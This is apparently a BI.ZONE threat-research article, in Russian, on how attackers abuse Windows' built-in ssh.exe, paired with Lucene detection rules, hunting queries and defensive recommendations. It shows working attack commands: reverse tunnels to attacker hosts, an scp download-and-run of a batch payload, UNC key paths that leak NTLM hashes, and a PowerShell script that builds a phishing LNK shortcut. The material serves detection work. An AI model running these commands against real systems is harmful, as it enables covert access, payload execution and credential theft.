Разбираемся в способах злоупотребления ssh.exe на Windows

Привет! Меня зовут Павел Козяев, я ведущий специалист группы исследования киберугроз компании BI.ZONE. В этой статье поговорим о легитимном инструменте от Microsoft, который злоумышленники используют в своих фишинговых кампаниях для создания туннелей, закрепления и исполнения команд на хосте жертвы в обход средств антивирусной защиты. Покажу примеры команд, а также расскажу, как обнаружить такую активность и вовремя принять меры.

Начнем сначала

Мало кто помнит, что SSH-клиент (ssh.exe) появился в современных Windows-системах в 2018 году и теперь предустановлен по умолчанию. А OpenSSH Server (sshd.exe) появился как дополнительная функция в Windows Server 2019. Этот шаг был направлен на упрощение работы с удаленными серверами и обеспечение совместимости с Linux и другими Unix-системами. Таким образом, OpenSSH, широко известный своим стандартом безопасности и гибкостью, стал встроенным инструментом, доступным в современных операционных системах от Microsoft. А вот с точки зрения кибербезопасности это означало появление нового легитимного инструмента, который в руках злоумышленников превращается в средство для первоначального доступа, закрепления и горизонтального перемещения внутри организации, как это было ранее для Unix-систем.

Исполняемые файлы SSH имеют подпись Microsoft и зачастую уже предустановлены в системах. Они позволяют злоумышленникам использовать тактику Living off the Land и избегать детектирования многими решениями для защиты конечных устройств.

Уже известны случаи использования ssh.exe в фишинговых атаках, так как он предоставляет широкие возможности злоумышленникам:

• Выполнение полезной нагрузки после успешного фишинга (например, после открытия LNK-файла пользователем).

• Установка обратных соединений (реверс-туннели) для скрытого доступа.

• Инициализация исходящего подключения для кражи хешей пользователя.

Например, можно вспомнить типовые техники при компрометации Exchange или любых веб-серверов IIS.

Получив возможность удаленно выполнять команды, злоумышленники могут создать локального пользователя и разрешить ему подключаться по RDP или использовать различные утилиты (chisel, ngrok, gsocket, netcat и др.) для создания туннелей и маршрутизации трафика от удаленной машины злоумышленника во внутреннюю сеть целевой организации. У команд SOC есть правила детектирования для подобных техник, а у антивирусных решений — сигнатуры для обнаружения таких утилит. А что, если злоумышленник скачает с GitHub легитимный, подписанный компанией Microsoft исполняемый файл ssh.exe (при отсутствии такого на сервере) и пробросит себе туннель?

В этой статье я сфокусировался на изучении способов злоупотребления ssh.exe в Windows-средах, предложил варианты детектирования и собрал гипотезы для периодических проверок.

Детектирование

Обратите внимание! Ниже будут представлены правила, написанные на языке Lucene и использующие BI.ZONE Data Model.
Варианты Sigma-правил будут приведены по ссылке в конце этого раздела.

Создание обратного SOCKS-туннеля при помощи ssh.exe

Все уже знакомы с применением ключа -R, с помощью которого SSH позволяет создавать обратное перенаправление портов к удаленному серверу. А если не указать локальный порт узла, на который будет приходить трафик, то ssh.exe будет работать как SOCKS proxy. Подробно об этом рассказал Alex Reid из Red Siege в своем исследовании.

С комбинацией ключей -f (backgroud execute) и -N (do not execute a remote command) злоумышленник может превратить локальный сервер в SOCKS Proxy для дальнейшего горизонтального перемещения внутри корпоративной сети или закрепления в сети. Также данное соединение позволяет использовать такие инструменты, как Impacket, CrackMapExec (NetExec), Certipy, Whisker, BloodHound и другие, для компрометации ресурсов, не доставляя ничего на хосты организации.

Примеры таких команд:

ssh.exe -R 9050 [e-mail] -N
 
ssh.exe -o StrictHostKeyChecking=no -i C:\Users\Public\id_rsa [e-mail] -f -N -R 2222-p 443

Для аутентификации на удаленном сервере атакующему придется ввести пароль или предоставить закрытый ключ. В первом случае потребуется интерактивный ввод или передача учетных данных в командной строке, а во втором надо доставлять закрытый ключ на хост жертвы. Все это несет риски для атакующего быть обнаруженным по данным артефактам на хосте.

Можно выделить дополнительный способ, который заключается в настройке SSH Server таким образом, чтобы он принимал входящее подключение по SSH и позволял бы проходить аутентификацию без пароля только конкретному пользователю:

Match User ssher
    AllowTcpForwarding yes
    X11Forwarding no
    AllowAgentForwarding no
    PasswordAuthentication yes
    PermitEmptyPasswords yes

Таким образом, без пароля и ключа злоумышленник может использовать SSH для создания обратного SOCKS-туннеля. Стоит отметить, что приведенные выше команды могут исполняться после успешного фишинга или эксплуатации уязвимости, а также встречаться в службах и задачах планировщика с целью закрепления доступа.

Для детектирования подобной активности можно использовать следующий вариант правила:

dev_os_type:"windows" AND
(proc_file_path:"ssh.exe" OR cmdline:"ssh.exe" OR cmdline:"ssh") AND
(proc_file_productname:*OpenSSH* OR file_productname:*OpenSSH*) AND
cmdline.keyword:/.*-[NR]{1,2}[ ]*[0-9]+\ .*/ AND cmdline.keyword:/.* -[^\ ]+?N.*/ AND cmdline.keyword:/.*\ ([-a-z0-9._]+\@)?[-a-z0-9.]+.*/

cmdline — поле из BI.ZONE Data Model, которое может содержать командную строку запущенного процесса, созданной задачи планировщика, созданной службы и др.

Результат выполнения запроса:

Что же касается стандартного проброса портов, он также используется злоумышленниками.

Стилер White Snake группировки Scaly Wolf создает SSH-соединение через сервис serveo[.]net для доступа к зараженной машине, что дает возможность выполнять команды на скомпрометированном хосте:

ssh.exe -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:2734 serveo.net

А группировка ToddyCat из исследования команды «Лаборатории Касперcкого» также использует ssh.exe в качестве инструмента для туннелирования трафика и выполняет следующую команду в качестве задачи по расписанию:

C:\PROGRA~1\OpenSSH\ssh.exe -i C:\Windows\AppReadiness\value.dat -o
StrictHostKeyChecking=accept-new -R 31481:localhost:53
systemtest01@103[.]27.202.85 -p 22222 -fN

В данном случае для доступа к удаленному узлу злоумышленники используют принесенный закрытый ключ по пути C:\Windows\AppReadiness\value.dat.

Аналогично созданию обратного SOCKS-туннеля было разработано правило для выявления проброса портов с помощью ssh.exe:

dev_os_type:"windows" AND
(proc_file_path:"ssh.exe" OR cmdline:"ssh.exe" OR cmdline:"ssh") AND
(proc_file_productname:*OpenSSH* OR file_productname:*OpenSSH*) AND
cmdline.keyword:/.*-(L|R).*([0-9]{1,5}\:)?([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|[a-z.]+)\:[0-9]{1,5}.*/

Результат выполнения запроса:

Использование ssh.exe для исполнения локальных команд на Windows-хосте после успешного исходящего SSH-подключения

Еще один интересный параметр при использовании ssh.exe — LocalCommand. Из справки следует, что указанная команда в параметре LocalCommand будет выполнена на локальном хосте после успешного SSH-подключения к удаленному серверу. Злоумышленники могут использовать эту возможность предустановленного SSH-клиента, чтобы выполнять полезную нагрузку на узле с последующим закреплением. Например, данная техника может встречаться в фишинговых кампаниях. Также стоит отметить, что параметр LocalCommand неразрывно связан с установленным параметром PermitLocalCommand=yes.

В недавней статье «Шишинг с RogueRDP» автор приводит блок кода, в котором использует следующую полезную нагрузку:

"$currentUser = $env:USERNAME;
Invoke-Expression "C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -N -R 0 -i C:\\Users\\$currentUser\\Pictures\\rsa - o StrictHostKeyChecking=no -o 'PermitLocalCommand=yes' -o
'LocalCommand=C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe -i \\\\<attacker_ip>\\key.pem sshisher@1.1.1.1'""

Также есть пример фишинга с использованием SCP (да, он тоже доступен на хосте вместе с SSH) для доставки дополнительной полезной нагрузки на хост:

C:\Windows\System32\OpenSSH\ssh.exe -R 0 -o "PermitLocalCommand=yes" -o "LocalCommand=scp -P 443 stu@attackerip:/p1.bat %userprofile%\. && start %userprofile%\p1.bat" -o "StrictHostKeyChecking=no" -q -p 443 stu@attackerip -NT

Можно просто запустить стандартный калькулятор Windows: 

"C:\Windows\System32\OpenSSH\ssh.exe" -N -R 0 kali@10.3.132.160 -o StrictHostKeyChecking=no -o PermitLocalCommand=yes  -o LocalCommand=calc.exe

Для детектирования подобной активности можно использовать вариант правила ниже, ложноположительных срабатываний при этом должно быть мало:

dev_os_type:"windows" AND
(proc_file_path:"ssh.exe" OR cmdline:("ssh", "ssh.exe")) AND
(proc_file_productname:*OpenSSH* OR file_productname:*OpenSSH*) AND
cmdline.keyword:/.*PermitLocalCommand\=yes.*/ AND
cmdline:"LocalCommand

Результат выполнения запроса:

Использование параметра ProxyCommand исполняемого файла ssh.exe для выполнения команд

Для ssh.exe также есть варианты применения в проекте LOLBAS. Указанная техника позволяет злоумышленнику запускать полезную нагрузку от имени процесса ssh.exe для обхода различных средств защиты на хосте.

Команда, указанная в ProxyCommand, запускается на клиенте перед установлением SSH-сессии.

Злоумышленники могут использовать ProxyCommand для создания цепочки туннелей через серию доверенных узлов в сети, что усложняет отслеживание их действий и позволяет обходить ограничения доступа между сегментами сети целевой организации:

ssh -i id_rsa -o ProxyCommand="ssh -i id_rsa_proxy -W %h:%p proxyuser@192.168.1.2" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ForwardAgent=yes ssher@192.168.1.10

Или исполнить любую команду на локальном хосте, например стандартный калькулятор Windows:

ssh -o ProxyCommand=calc.exe .

Для детектирования этой активности также достаточно фильтровать по командной строке параметр ProxyCommand:

dev_os_type:"windows" AND
(proc_file_path:"ssh.exe" OR cmdline:("ssh", "ssh.exe")) AND
(proc_file_productname:*OpenSSH* OR file_productname:*OpenSSH*) AND
cmdline:"ProxyCommand"

Результат выполнения запроса:

Использование ssh.exe для кражи NTLM-хеша пользователя

В случае использования ssh.exe с указанием пути для закрытого ключа на удаленный ресурс, например ssh.exe -i \\remote.server\user\id_rsa [e-mail], будет выполнена инициализация исходящего SMB-подключения.

Этот способ позволяет злоумышленнику указать с флагом -i в параметре подконтрольный ему сервер, чтобы получить NTLM-хеш пользователя, например, с помощью инструмента Responder. Получив NTLM-хеш, злоумышленник может выполнить офлайн-брутфорс-атаку для получения NT-хеша и в дальнейшем пароля в открытом виде:

ssh -i \\remote.server\id_rsa [e-mail]

Или можно выполнить команду, приведенную в статье «Шишинг с RogueRDP», которая не только пробрасывает SOCKS-туннель при помощи SSH, но и передает NTLM-хеш пользователя на удаленный сервер:

"$currentUser = $env:USERNAME;
Invoke-Expression "C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -N -R 0 -i C:\\Users\\$currentUser\\Pictures\\rsa - o StrictHostKeyChecking=no -o 'PermitLocalCommand=yes' -o
'LocalCommand=C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe -i \\\\<attacker_ip>\\key.pem sshisher@1.1.1.1'""

Стоит отметить, что существование id_rsa или любого другого файла на удаленном ресурсе необязательно, достаточно просто инициализировать исходящее SMB-подключение хоста.

Результат Responder:

Выявлять такое злоупотребление можно следующим способом:

dev_os_type:"windows" AND
(proc_file_path:"ssh.exe" OR cmdline:("ssh", "ssh.exe"))
AND (proc_file_productname:*OpenSSH* OR file_productname:*OpenSSH*)
AND cmdline.keyword:/.*\-i \\\\.+\\.*/
AND cmdline.keyword:/.*[-a-z0-9._]+\@[-a-z0-9.]+.*/

Результат выполнения запроса:

Запуск процесса ssh.exe с помощью подозрительного ярлыка

В результате все рассмотренные способы злоупотребления ssh.exe на Windows-хостах можно встретить в одной фишинговой атаке, например во входящем письме с LNK-файлом.

Злоумышленники могут создать LNK-файл с указанием параметров:

Пример скрипта для генерации LNK-файла, вызывающего ssh.exe:

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("c:\users\Public\Razmery_Premiy.lnk")
$Shortcut.IconLocation = 'C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackup\Assets\folderpictures.ico'
$Shortcut.TargetPath = 'C:\Windows\System32\OpenSSH\ssh.exe'
$Shortcut.Arguments = '-R 0 -o "PermitLocalCommand=yes" -o "LocalCommand=calc.exe" -o "StrictHostKeyChecking=no" kali@10.3.132.160 -NT'
$Shortcut.WorkingDirectory = '%CD%'
$Shortcut.Save()

В заключении Alex Reid в своем исследовании показывает PoC такого LNK-файла, в котором объединены все возможные способы злоупотребления ssh.exe:

Все используемые способы злоупотребления можно обнаружить с помощью приведенных выше правил детектирования.

Дополнительно подобную активность можно отслеживать, если есть возможность обогащать события создания процессов информацией о файле-инициаторе, приведшем к запуску процесса, если процесс был запущен через LNK-файл.

Поле proc_lnk_path — поле из BI.ZONE Data Model, содержащее в себе путь к ярлыку, который используется для запуска процесса (если применимо).

Правило выглядит следующим образом:

dev_os_type:"windows" AND
event_type:(ProcessCreate OR ProcessCreateWin OR ProcessInfo OR ProcessInfoWin) AND
(proc_file_path:"ssh.exe" OR cmdline:("ssh", "ssh.exe")) AND
(proc_file_productname:*OpenSSH* OR file_productname:*OpenSSH*) AND
cmdline.keyword:/.*\ ([-a-z0-9._]+\@)?[-a-z0-9.]+.*/ AND
proc_lnk_path:*

Результат выполнения запроса:

В нашем репозитории на GitHub содержатся предложенные варианты детектирования в виде Sigma-правил.

Дополнительные гипотезы для периодических проверок

Ниже будут рассмотрены поисковые запросы, которые можно выполнять периодически для анализа активности SSH в рамках процесса threat hunting.

Доставка легитимного ssh.exe на хост

Как уже было сказано, в случае отсутствия SSH-клиента или сервера в системе Windows, всегда можно скачать его из официального репозитория на GitHub, причем доступны как standalone-релизы, так и полноценные пакеты установки.

В целом эта активность может быть характерна как для пользователя, так и для злоумышленника. Выше были рассмотрены правила корреляции для выявления злоупотребления SSH, поэтому активность standalone-версии SSH также будет выявлена.

Рекомендую периодически проверять запуск ssh.exe из нетиповых директорий, например из пользовательских разделов:

dev_os_type:"windows" AND
event_type:(ProcessCreate OR ProcessInfo) AND
(proc_file_path:"ssh.exe" OR cmdline:("ssh", "ssh.exe")) AND (proc_file_productname:*OpenSSH* OR file_productname:*OpenSSH*) AND proc_file_path:"users"

Удаленное исполнение команд на сервере с помощью SSH

Стоит упомянуть, как узнать на Windows Server с OpenSSH Server, что команды выполнялись в контексте входящего SSH-соединения.

Выполняем удаленные команды через SSH:

ssh administrator@10.3.132.158 hostname

Будет регистрироваться передача выполняемой команды в cmd.exe от процесса sshd-session.exe:

sshd-session.exe — процесс, который создается после успешного подключения клиента к серверу, отвечает за управление сессией SSH и завершается после закрытия соединения.

Пример такого поискового запроса:

dev_os_type:"windows" AND
event_type:processcreate AND
proc_p_file_path:"sshd-session.exe"

Теперь в сессии SSH выполним интерактивно следующие команды:

PS C:\Users\Administrator> ssh administrator@10.3.132.158
administrator@10.3.132.158's password:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
 
rnd\administrator@SRV-DC C:\Users\Administrator>whoami
rnd\administrator
 
rnd\administrator@SRV-DC C:\Users\Administrator>hostname
srv-dc
 
rnd\administrator@SRV-DC C:\Users\Administrator>netstat
....
<redacted>
 
rnd\administrator@SRV-DC C:\Users\Administrator>.\merlin_win.exe
[DEBUG]Entering agent.New() function
[DEBUG]entering tokens.GetTokenIntegrityLevel()

Проанализировав активность от узла, можем сделать вывод, что для получения контекста о выполнении команд в сессии SSH требуется выстраивание цепочки процессов:

Процесс ssh-shellhost.exe выполняет команды, переданные через SSH, взаимодействуя с командными интерпретаторами (cmd.exe и powershell.exe).

Таким образом, вредоносная активность внутри сессии SSH может быть выявлена различными правилами корреляции, детектирующая логика которых основана на параметрах командной строки. Рекомендую проверку запуска процессов от ssh-shellhost.exe и sshd-session.exe проводить только на периодической основе для поиска возможной компрометации.

Аудит SSH-серверов на Windows

Чтобы предотвратить злоупотребление SSH, нужно периодически проводить аудит критических Windows-серверов, таких как контроллеры домена и серверы, доступные из интернета (Exchange, IIS).

Этот процесс можно выполнить различными способами, например поиском в SIEM по следующему запросу:

dev_os_type:"windows" AND
event_type:serviceinstall AND
cmdline:"sshd.exe"

Результаты запроса:

Также можно выполнить следующий PowerShell-код (потребуется установка ADModule):

$ListComputers = Get-ADComputer -Filter *  | Where-Object {$_.Enabled -eq 'True'} | Select -ExpandProperty DnsHostName
$LogPath = "C:\Users\Public\SSHD_SERVICE_Check.txt"
foreach ($computer in $ListComputers) {
    try {
        if (Test-Connection -ComputerName $computer -Count 1 -Quiet) {
            Get-Service -ComputerName $computer -Name *sshd* | Select-Object MachineName, Name, DisplayName, StartType, Status | ft |
            Out-File -Append $LogPath
        }
        else {
            "$computer, -, Host unreachable" | Out-File -Append $LogPath
            }
        }
    catch {
            "$computer, -, $_" | Out-File -Append $LogPath
        }
}
Write-Output "Проверка завершена. Лог сохранён в $LogPath"  

Аутентификация на узлах по SSH

Теперь рассмотрим особенности аутентификации по SSH на узлах с OpenSSH Server.

Доступно два варианта:

• по паролю;

• на основе публичного ключа.

При использовании пароля в доменной среде по SSH используется библиотека Advapi32 для аутентификации по протоколам Kerberos или NTLM.

Можно выделить следующие этапы от аутентификации до исполнения команды:

1. Подключение по SSH и ввод учетных данных, которые получает sshd.exe.

2. Создается токен доступа пользователя, который описывает его права и привилегии.

3. sshd.exe запускает процесс sshd-session.exe, который выступает как изолированная сессия пользователя.

4. sshd-session.exe запускает ssh-shellhost.exe, обеспечивая выполнение команд пользователя в терминале.

Для определения таких событий аутентификации нужно выполнить поиск по процессу аутентификации: C:\Program Files\OpenSSH\sshd-session.exe.

Результат запроса:

Пример события 4624 из Security-журнала:

Стоит обратить внимание на то, что в событии 4624 отсутствует информация об источнике авторизации на хосте по SSH.

Эту информацию можно найти в событии с EventID: 4 журнала OpenSSH/Operational.

Примеры событий успешного входа, неуспешного входа и завершения сессии:

Из общего у EventID: 4624 (Security) и EventID: 4 (OpenSSH/Operational) можно выделить одно поле — ProcessID. К сожалению, по нему нельзя выполнить корректное обогащение источником событий журнала Security, так как один процесс sshd-session.exe может обрабатывать несколько входящих подключений из различных источников.

Рекомендуем поставить на мониторинг журнал OpenSSH/Operational и написать дополнительные правила для выявления брутфорс-атак, а также нетиповых входящих подключений, например из интернета.

Следующим запросом можем найти все неудачные попытки входа на хост по SSH:

dev_os_type:windows AND
event_type:opensshmessage AND
event_description:"Failed" AND
event_description:("password", "publickey")

Общие рекомендации по защите

• Настройте мониторинг журналов OpenSSH/Operational.

• Ограничьте исходящий доступ по SMB в интернет, чтобы избежать кражи хешей пользователей.

• Ограничьте исходящие соединения по SSH в интернет.

• Управляйте службой OpenSSH Server через групповые политики и используйте эту роль только в случае необходимости.

Вывод

Рассмотренные способы злоупотребления ssh.exe только подтвердили его репутацию одного из самых опасных легитимных инструментов в руках злоумышленников в Windows-системах. Благодаря широкому распространению OpenSSH и удобству использования эта утилита будет становиться только популярнее у киберпреступников, а также у специалистов red team. Мониторинг создания процессов от ssh.exe и отслеживание команд в сессии на SSH, а также подозрительные авторизации вместе с аудитом Windows-серверов с ролью OpenSSH Server помогут вам отследить и предотвратить вредоносную активность на ранних этапах компрометации системы.